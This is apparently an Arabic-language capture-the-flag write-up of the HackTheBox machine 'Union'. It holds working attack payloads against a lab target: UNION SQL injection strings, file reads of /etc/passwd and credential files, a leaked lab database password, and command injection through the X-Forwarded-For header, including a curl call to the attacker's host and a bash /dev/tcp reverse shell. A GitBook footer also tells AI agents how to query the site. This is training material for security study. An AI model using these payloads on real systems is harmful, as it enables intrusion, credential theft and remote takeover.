> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# شرح Union HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**المهارات:**

* حقن SQLI (حقن SQL) - حقن UNION
* SQLI - قراءة الملفات
* حقن أوامر ترويسة HTTP - X-FORWARDED-FOR (تنفيذ أوامر عن بُعد)
* استغلال صلاحية sudoers (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/1f73c78acb78a14c3c83fd1ba68cf36095cf8b61" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/58a6d72942de745a2f731662858c40360f75e326" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="/files/9545e952cd67c60ca46e58b86db132837fa508c4" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

باستخدام الدالة extractPorts لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة (80)

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="/files/bf24c803076f48ef5b7a928050f0c69cb3393084" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/5c929ca50705e8e4b3aeab2fb37a68adb2b3a816" alt=""><figcaption></figcaption></figure>

### قائمة الملفات

باستخدام gobusteron سيجري تعدادًا للملفات بامتدادات php

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

يوجد ملفان غير قابلين للوصول من الخارج: `config.php` و `firewall.php`.

<figure><img src="/files/fb42d88e636903712faddc0557b75d75a9a57b30" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9b7e0e2961439772791b72e9ebb2c2a6528260d0" alt=""><figcaption></figcaption></figure>

في `index.php`, إذا أضفنا اسمًا في النموذج، فإنه يظهر في الاستجابة.

<figure><img src="/files/eb5882f15ad4f1671d3963418adcda935c1be164" alt=""><figcaption></figcaption></figure>

ملف التحدي يطلب منا علمًا

<figure><img src="/files/5974046d8ce7255441161d73b6de98c6dc0b3d19" alt=""><figcaption></figcaption></figure>

## الثغرة SQLI - حقن UNION

نعترض الطلب باستخدام Burp Suite ونعدّل المتغير `اللاعب`:

<figure><img src="/files/fe98a095ada3e0ea2740bd85d256d2a155a73aba" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

اسم قاعدة البيانات هو `november`.

<figure><img src="/files/5556734b95b683a681badee59730f1d00ce1c940" alt=""><figcaption></figcaption></figure>

لسرد جميع قواعد البيانات:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

النتيجة: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/7b11debf31845fc6b7505c4f8ade88d81055a368" alt=""><figcaption></figcaption></figure>

أدرِج الجداول في `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="/files/00da0e4b16ba0e95f32587e8d64c0854069383ec" alt=""><figcaption></figcaption></figure>

أدرِج الأعمدة في `players` الجدول:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

الأعمدة الموجودة: `اللاعب`

<figure><img src="/files/c4ddaa3899b180b9683f0d96d70d16ae6c74dcb0" alt=""><figcaption></figcaption></figure>

**استخراج بيانات المستخدم**

```sql
jordan' union select group_concat(player,':') from players-- -
```

اللاعبون الموجودون: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/dd8893a63a42053ff0104df94042d7a795f0fd8c" alt=""><figcaption></figcaption></figure>

استخراج العلم:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="/files/397a3cc3fea2cdc9df547a434a6930919104cf85" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="/files/b822c775092a08d5b5b21bca3b84d9d1789812df" alt=""><figcaption></figcaption></figure>

* العلم الموجود: `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - قراءة الملفات**

قراءة `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

وجدنا `uhc` مستخدم.

<figure><img src="/files/bfddf5ac6ce8a7e8f2e1782f5253980f3e10b3e3" alt=""><figcaption></figcaption></figure>

### الراية user.txt

قراءة `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="/files/9984288702a1ce38502dd22e88ca40f0c015afee" alt=""><figcaption></figcaption></figure>

قراءة `config.php`, وجدنا بيانات اعتماد قاعدة البيانات:

<figure><img src="/files/d8d0e2a386751de1a732f2f3ee8315f6ae882967" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

قراءة `firewall.php`, نفهم أن إرسال العلم يفتح منفذ SSH:

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="/files/c0c2d8ac3fa224a35c99e39eedde61f17b500975" alt=""><figcaption></figcaption></figure>

نرسل العلم: `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="/files/cf04131dca7424496118d5969ff796e4c7cd347e" alt=""><figcaption></figcaption></figure>

المنفذ 22 أصبح مفتوحًا.<br>

<figure><img src="/files/0357b27f19e5bdd453096ef2bbd9a784e558ec98" alt=""><figcaption></figcaption></figure>

### اتصال SSH

نستخدم بيانات الاعتماد المحددة لتسجيل الدخول:

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="/files/6d32b1509e3d67c4a89a7a65d52edd4a0f748f82" alt=""><figcaption></figcaption></figure>

## **تصعيد الامتيازات**

### حقن أوامر ترويسة HTTP - X-FORWARDED-FOR (تنفيذ أوامر عن بُعد)

إذا نظرت إلى `firewall.php` الملف، ستلاحظ أنه يسترجع `HTTP_X_FORWARDED_FOR` الترويسة ويستخدمها مع `sudo` لتنفيذ أمر:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="/files/e4c39a662fd8acd900701a9237c4551b07259a70" alt=""><figcaption></figcaption></figure>

بما أن هذا المتغير يمكن التحكم فيه عبر طلب HTTP، فيمكننا حقن أمر عشوائي.

**الاستغلال**

وبما أن هذا ترويسة HTTP، فيمكننا حقن أمر، على سبيل المثال باستخدام `curl` للاتصال بخادم الويب الخاص بنا.

**تنفيذ خادم ويب:**

```bash
python3 -m http.server 80
```

**التحكم في الحقن باستخدام `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="/files/2ae6fc0ebda4c1b295948b16ed74f06358f77797" alt=""><figcaption></figcaption></figure>

**شل عكسي**

**استمع إلى المنفذ 443:**

```bash
nc -nlvp 443
```

**الأمر للحصول على غلاف عن بُعد:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

بعد الاتصال، نكون المستخدم `www-data`.

<figure><img src="/files/d5d5ff5601ccb8e96f39567e8323971ec9ce6b06" alt=""><figcaption></figcaption></figure>

#### تثبيت الطرفية

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

باستخدام الأمر التالي، نتحقق من `sudo` الصلاحيات:

```bash
sudo -l 
```

<figure><img src="/files/5474d177c5ad6087b82ffa0c7d46198a7e8d856a" alt=""><figcaption></figcaption></figure>

إذا رأينا أن `www-data` يمكنه تنفيذ أي أمر كمستخدم أيًّا كان (`(ALL: ALL) ALL`)، عندها يمكننا تشغيل غلاف root باستخدام:

```bash
sudo /bin/bash -p
```

<figure><img src="/files/85597ea62c33d4cea5e1f3c859e65b800849b5d9" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/829f475ffa6e73c964dce52ba39ae60598dca8c3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dbf0d97ccd9b97ba9ab8d88d68cf0dd98bcc1d6a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
